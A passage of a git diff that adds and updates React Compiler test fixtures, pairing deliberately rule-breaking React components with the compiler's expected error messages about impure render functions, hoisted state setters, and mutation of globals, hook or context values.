 let someGlobal = false;
 
@@ -35,10 +35,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.invalid-global-reassignment-indirect.ts:9:4
    7 |
    8 |   const setGlobal = () => {
 >  9 |     someGlobal = true;
-     |     ^^^^^^^^^^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (9:9)
+     |     ^^^^^^^^^^ `someGlobal` cannot be reassigned
   10 |   };
   11 |   const indirectSetGlobal = () => {
   12 |     setGlobal();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.js
index 48e58e9c8315..9ba58c23a812 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.js
@@ -1,4 +1,4 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = false;
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.expect.md
new file mode 100644
index 000000000000..291d3873b45c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {useEffect, useState} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Foo() {
+  /**
+   * Previously, this lowered to
+   * $1 = LoadContext capture setState
+   * $2 = FunctionExpression deps=$1 context=setState
+   *  [[ at this point, we freeze the `LoadContext setState` instruction, but it will never be referenced again ]]
+   *
+   * Now, this function expression directly references `setState`, which freezes
+   * the source `DeclareContext HoistedConst setState`. Freezing source identifiers
+   * (instead of the one level removed `LoadContext`) is more semantically correct
+   * for everything *other* than hoisted context declarations.
+   *
+   * $2 = Function context=setState
+   */
+  useEffect(() => setState(2), []);
+
+  const [state, setState] = useState(0);
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access variable before it is declared
+
+`setState` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.
+
+error.invalid-hoisting-setstate.ts:19:18
+  17 |    * $2 = Function context=setState
+  18 |    */
+> 19 |   useEffect(() => setState(2), []);
+     |                   ^^^^^^^^ `setState` accessed before it is declared
+  20 |
+  21 |   const [state, setState] = useState(0);
+  22 |   return <Stringify state={state} />;
+
+error.invalid-hoisting-setstate.ts:21:16
+  19 |   useEffect(() => setState(2), []);
+  20 |
+> 21 |   const [state, setState] = useState(0);
+     |                 ^^^^^^^^ `setState` is declared here
+  22 |   return <Stringify state={state} />;
+  23 | }
+  24 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.js
new file mode 100644
index 000000000000..f3b4167772e9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hoisting-setstate.js
@@ -0,0 +1,29 @@
+// @enableNewMutationAliasingModel
+import {useEffect, useState} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Foo() {
+  /**
+   * Previously, this lowered to
+   * $1 = LoadContext capture setState
+   * $2 = FunctionExpression deps=$1 context=setState
+   *  [[ at this point, we freeze the `LoadContext setState` instruction, but it will never be referenced again ]]
+   *
+   * Now, this function expression directly references `setState`, which freezes
+   * the source `DeclareContext HoistedConst setState`. Freezing source identifiers
+   * (instead of the one level removed `LoadContext`) is more semantically correct
+   * for everything *other* than hoisted context declarations.
+   *
+   * $2 = Function context=setState
+   */
+  useEffect(() => setState(2), []);
+
+  const [state, setState] = useState(0);
+  return <Stringify state={state} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.expect.md
new file mode 100644
index 000000000000..49709441df95
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.expect.md
@@ -0,0 +1,48 @@
+
+## Input
+
+```javascript
+// @validateNoFreezingKnownMutableFunctions
+
+function useFoo() {
+  const cache = new Map();
+  useHook(() => {
+    cache.set('key', 'value');
+  });
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-hook-function-argument-mutates-local-variable.ts:5:10
+  3 | function useFoo() {
+  4 |   const cache = new Map();
+> 5 |   useHook(() => {
+    |           ^^^^^^^
+> 6 |     cache.set('key', 'value');
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 7 |   });
+    | ^^^^ This function may (indirectly) reassign or modify `cache` after render
+  8 | }
+  9 |
+
+error.invalid-hook-function-argument-mutates-local-variable.ts:6:4
+  4 |   const cache = new Map();
+  5 |   useHook(() => {
+> 6 |     cache.set('key', 'value');
+    |     ^^^^^ This modifies `cache`
+  7 |   });
+  8 | }
+  9 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.js
new file mode 100644
index 000000000000..323d35700a72
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-hook-function-argument-mutates-local-variable.js
@@ -0,0 +1,8 @@
+// @validateNoFreezingKnownMutableFunctions
+
+function useFoo() {
+  const cache = new Map();
+  useHook(() => {
+    cache.set('key', 'value');
+  });
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.expect.md
new file mode 100644
index 000000000000..255da7389b36
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @validateNoImpureFunctionsInRender
+
+function Component() {
+  const date = Date.now();
+  const now = performance.now();
+  const rand = Math.random();
+  return <Foo date={date} now={now} rand={rand} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Cannot call impure function during render
+
+`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   const date = Date.now();
+    |                ^^^^^^^^^^ Cannot call impure function
+  5 |   const now = performance.now();
+  6 |   const rand = Math.random();
+  7 |   return <Foo date={date} now={now} rand={rand} />;
+
+Error: Cannot call impure function during render
+
+`performance.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:5:14
+  3 | function Component() {
+  4 |   const date = Date.now();
+> 5 |   const now = performance.now();
+    |               ^^^^^^^^^^^^^^^^^ Cannot call impure function
+  6 |   const rand = Math.random();
+  7 |   return <Foo date={date} now={now} rand={rand} />;
+  8 | }
+
+Error: Cannot call impure function during render
+
+`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:6:15
+  4 |   const date = Date.now();
+  5 |   const now = performance.now();
+> 6 |   const rand = Math.random();
+    |                ^^^^^^^^^^^^^ Cannot call impure function
+  7 |   return <Foo date={date} now={now} rand={rand} />;
+  8 | }
+  9 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.js
new file mode 100644
index 000000000000..6faf98caff70
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-impure-functions-in-render.js
@@ -0,0 +1,8 @@
+// @validateNoImpureFunctionsInRender
+
+function Component() {
+  const date = Date.now();
+  const now = performance.now();
+  const rand = Math.random();
+  return <Foo date={date} now={now} rand={rand} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.expect.md
new file mode 100644
index 000000000000..3a609e102b68
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {Stringify, useIdentity} from 'shared-runtime';
+
+function Component({prop1, prop2}) {
+  'use memo';
+
+  const data = useIdentity(
+    new Map([
+      [0, 'value0'],
+      [1, 'value1'],
+    ])
+  );
+  let i = 0;
+  const items = [];
+  items.push(
+    <Stringify
+      key={i}
+      onClick={() => data.get(i) + prop1}
+      shouldInvokeFns={true}
+    />
+  );
+  i = i + 1;
+  items.push(
+    <Stringify
+      key={i}
+      onClick={() => data.get(i) + prop2}
+      shouldInvokeFns={true}
+    />
+  );
+  return <>{items}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop1: 'prop1', prop2: 'prop2'}],
+  sequentialRenders: [
+    {prop1: 'prop1', prop2: 'prop2'},
+    {prop1: 'prop1', prop2: 'prop2'},
+    {prop1: 'changed', prop2: 'prop2'},
+  ],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-jsx-captures-context-variable.ts:22:2
+  20 |     />
+  21 |   );
+> 22 |   i = i + 1;
+     |   ^ `i` cannot be modified
+  23 |   items.push(
+  24 |     <Stringify
+  25 |       key={i}
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.js
new file mode 100644
index 000000000000..166b9236c5f8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-jsx-captures-context-variable.js
@@ -0,0 +1,41 @@
+// @enableNewMutationAliasingModel
+import {Stringify, useIdentity} from 'shared-runtime';
+
+function Component({prop1, prop2}) {
+  'use memo';
+
+  const data = useIdentity(
+    new Map([
+      [0, 'value0'],
+      [1, 'value1'],
+    ])
+  );
+  let i = 0;
+  const items = [];
+  items.push(
+    <Stringify
+      key={i}
+      onClick={() => data.get(i) + prop1}
+      shouldInvokeFns={true}
+    />
+  );
+  i = i + 1;
+  items.push(
+    <Stringify
+      key={i}
+      onClick={() => data.get(i) + prop2}
+      shouldInvokeFns={true}
+    />
+  );
+  return <>{items}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop1: 'prop1', prop2: 'prop2'}],
+  sequentialRenders: [
+    {prop1: 'prop1', prop2: 'prop2'},
+    {prop1: 'prop1', prop2: 'prop2'},
+    {prop1: 'changed', prop2: 'prop2'},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.expect.md
new file mode 100644
index 000000000000..ef14379f2f4c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.expect.md
@@ -0,0 +1,34 @@
+
+## Input
+
+```javascript
+import {knownIncompatible} from 'ReactCompilerKnownIncompatibleTest';
+
+function Component() {
+  const data = knownIncompatible();
+  return <div>Error</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Use of incompatible library
+
+This API returns functions which cannot be memoized without leading to stale UI. To prevent this, by default React Compiler will skip memoizing this component/hook. However, you may see issues if values from this API are passed to other components/hooks that are memoized.
+
+error.invalid-known-incompatible-function.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   const data = knownIncompatible();
+    |                ^^^^^^^^^^^^^^^^^ useKnownIncompatible is known to be incompatible
+  5 |   return <div>Error</div>;
+  6 | }
+  7 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.js
new file mode 100644
index 000000000000..778b6dd0453f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-function.js
@@ -0,0 +1,6 @@
+import {knownIncompatible} from 'ReactCompilerKnownIncompatibleTest';
+
+function Component() {
+  const data = knownIncompatible();
+  return <div>Error</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.expect.md
new file mode 100644
index 000000000000..133641534802
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.expect.md
@@ -0,0 +1,33 @@
+
+## Input
+
+```javascript
+import {useKnownIncompatibleIndirect} from 'ReactCompilerKnownIncompatibleTest';
+
+function Component() {
+  const {incompatible} = useKnownIncompatibleIndirect();
+  return <div>{incompatible()}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Use of incompatible library
+
+This API returns functions which cannot be memoized without leading to stale UI. To prevent this, by default React Compiler will skip memoizing this component/hook. However, you may see issues if values from this API are passed to other components/hooks that are memoized.
+
+error.invalid-known-incompatible-hook-return-property.ts:5:15
+  3 | function Component() {
+  4 |   const {incompatible} = useKnownIncompatibleIndirect();
+> 5 |   return <div>{incompatible()}</div>;
+    |                ^^^^^^^^^^^^ useKnownIncompatibleIndirect returns an incompatible() function that is known incompatible
+  6 | }
+  7 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.js
new file mode 100644
index 000000000000..1160ccb4dc6c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook-return-property.js
@@ -0,0 +1,6 @@
+import {useKnownIncompatibleIndirect} from 'ReactCompilerKnownIncompatibleTest';
+
+function Component() {
+  const {incompatible} = useKnownIncompatibleIndirect();
+  return <div>{incompatible()}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.expect.md
new file mode 100644
index 000000000000..dd01727b704f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.expect.md
@@ -0,0 +1,34 @@
+
+## Input
+
+```javascript
+import {useKnownIncompatible} from 'ReactCompilerKnownIncompatibleTest';
+
+function Component() {
+  const data = useKnownIncompatible();
+  return <div>Error</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Use of incompatible library
+
+This API returns functions which cannot be memoized without leading to stale UI. To prevent this, by default React Compiler will skip memoizing this component/hook. However, you may see issues if values from this API are passed to other components/hooks that are memoized.
+
+error.invalid-known-incompatible-hook.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   const data = useKnownIncompatible();
+    |                ^^^^^^^^^^^^^^^^^^^^ useKnownIncompatible is known to be incompatible
+  5 |   return <div>Error</div>;
+  6 | }
+  7 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.js
new file mode 100644
index 000000000000..618516c55c95
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-known-incompatible-hook.js
@@ -0,0 +1,6 @@
+import {useKnownIncompatible} from 'ReactCompilerKnownIncompatibleTest';
+
+function Component() {
+  const data = useKnownIncompatible();
+  return <div>Error</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-aliased-freeze.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-aliased-freeze.expect.md
index 21ad87a88874..c8547b3b1aec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-aliased-freeze.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-aliased-freeze.expect.md
@@ -25,10 +25,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-mutate-after-aliased-freeze.ts:13:2
   11 |   // y is MaybeFrozen at this point, since it may alias to x
   12 |   // (which is the above line freezes)
 > 13 |   y.push(props.p2);
-     |   ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (13:13)
+     |   ^ value cannot be modified
   14 |
   15 |   return <Component x={x} y={y} />;
   16 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-freeze.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-freeze.expect.md
index fb8668a9c533..e213b42f36d8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-freeze.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-after-freeze.expect.md
@@ -19,10 +19,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-mutate-after-freeze.ts:7:2
    5 |
    6 |   // x is Frozen at this point
 >  7 |   x.push(props.p2);
-     |   ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (7:7)
+     |   ^ value cannot be modified
    8 |
    9 |   return <div>{_}</div>;
   10 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context-in-callback.expect.md
index 8137ec1391f6..142f538a0dd3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context-in-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context-in-callback.expect.md
@@ -24,13 +24,22 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from 'useContext()' is not allowed..
+
+error.invalid-mutate-context-in-callback.ts:12:4
   10 |   // independently
   11 |   const onClick = () => {
 > 12 |     FooContext.current = true;
-     |     ^^^^^^^^^^ InvalidReact: Mutating a value returned from 'useContext()', which should not be mutated. Found mutation of `FooContext` (12:12)
+     |     ^^^^^^^^^^ `FooContext` cannot be modified
   13 |   };
   14 |   return <div onClick={onClick} />;
   15 | }
+
+Hint: If this value is a Ref (value returned by `useRef()`), rename the variable to end in "Ref".
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context.expect.md
index 4f8f2616e551..eddbfb5eac17 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-context.expect.md
@@ -14,10 +14,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from 'useContext()' is not allowed..
+
+error.invalid-mutate-context.ts:3:2
   1 | function Component(props) {
   2 |   const context = useContext(FooContext);
 > 3 |   context.value = props.value;
-    |   ^^^^^^^ InvalidReact: Mutating a value returned from 'useContext()', which should not be mutated (3:3)
+    |   ^^^^^^^ value cannot be modified
   4 |   return context.value;
   5 | }
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.expect.md
new file mode 100644
index 000000000000..3e3dcab81868
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+function Component() {
+  const renderItem = item => {
+    // Multiple returns so that the return type is a Phi (union)
+    if (item == null) {
+      return null;
+    }
+    // Normally we assume that it's safe to mutate globals in a function passed
+    // as a prop, because the prop could be used as an event handler or effect.
+    // But if the function returns JSX we can assume it's a render helper, ie
+    // called during render, and thus it's unsafe to mutate globals or call
+    // other impure code.
+    global.property = true;
+    return <Item item={item} value={rand} />;
+  };
+  return <ItemList renderItem={renderItem} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.invalid-mutate-global-in-render-helper-phi-return-prop.ts:12:4
+  10 |     // called during render, and thus it's unsafe to mutate globals or call
+  11 |     // other impure code.
+> 12 |     global.property = true;
+     |     ^^^^^^ value cannot be modified
+  13 |     return <Item item={item} value={rand} />;
+  14 |   };
+  15 |   return <ItemList renderItem={renderItem} />;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.js
new file mode 100644
index 000000000000..b6ca0a04aeea
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-phi-return-prop.js
@@ -0,0 +1,16 @@
+function Component() {
+  const renderItem = item => {
+    // Multiple returns so that the return type is a Phi (union)
+    if (item == null) {
+      return null;
+    }
+    // Normally we assume that it's safe to mutate globals in a function passed
+    // as a prop, because the prop could be used as an event handler or effect.
+    // But if the function returns JSX we can assume it's a render helper, ie
+    // called during render, and thus it's unsafe to mutate globals or call
+    // other impure code.
+    global.property = true;
+    return <Item item={item} value={rand} />;
+  };
+  return <ItemList renderItem={renderItem} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.expect.md
new file mode 100644
index 000000000000..9e995d5124d4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.expect.md
@@ -0,0 +1,40 @@
+
+## Input
+
+```javascript
+function Component() {
+  const renderItem = item => {
+    // Normally we assume that it's safe to mutate globals in a function passed
+    // as a prop, because the prop could be used as an event handler or effect.
+    // But if the function returns JSX we can assume it's a render helper, ie
+    // called during render, and thus it's unsafe to mutate globals or call
+    // other impure code.
+    global.property = true;
+    return <Item item={item} value={rand} />;
+  };
+  return <ItemList renderItem={renderItem} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.invalid-mutate-global-in-render-helper-prop.ts:8:4
+   6 |     // called during render, and thus it's unsafe to mutate globals or call
+   7 |     // other impure code.
+>  8 |     global.property = true;
+     |     ^^^^^^ value cannot be modified
+   9 |     return <Item item={item} value={rand} />;
+  10 |   };
+  11 |   return <ItemList renderItem={renderItem} />;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.js
new file mode 100644
index 000000000000..9355c482fb61
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-global-in-render-helper-prop.js
@@ -0,0 +1,12 @@
+function Component() {
+  const renderItem = item => {
+    // Normally we assume that it's safe to mutate globals in a function passed
+    // as a prop, because the prop could be used as an event handler or effect.
+    // But if the function returns JSX we can assume it's a render helper, ie
+    // called during render, and thus it's unsafe to mutate globals or call
+    // other impure code.
+    global.property = true;
+    return <Item item={item} value={rand} />;
+  };
+  return <ItemList renderItem={renderItem} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.expect.md
new file mode 100644
index 000000000000..3ea3d017179f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+import {useHook} from 'shared-runtime';
+
+function Component(props) {
+  const frozen = useHook();
+  let x;
+  if (props.cond) {
+    x = frozen;
+  } else {
+    x = {};
+  }
+  x.property = true;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed.
+
+error.invalid-mutate-phi-which-could-be-frozen.ts:11:2
+   9 |     x = {};
+  10 |   }
+> 11 |   x.property = true;
+     |   ^ value cannot be modified
+  12 | }
+  13 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.js
new file mode 100644
index 000000000000..f1f4691006b2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-phi-which-could-be-frozen.js
@@ -0,0 +1,12 @@
+import {useHook} from 'shared-runtime';
+
+function Component(props) {
+  const frozen = useHook();
+  let x;
+  if (props.cond) {
+    x = frozen;
+  } else {
+    x = {};
+  }
+  x.property = true;
+}
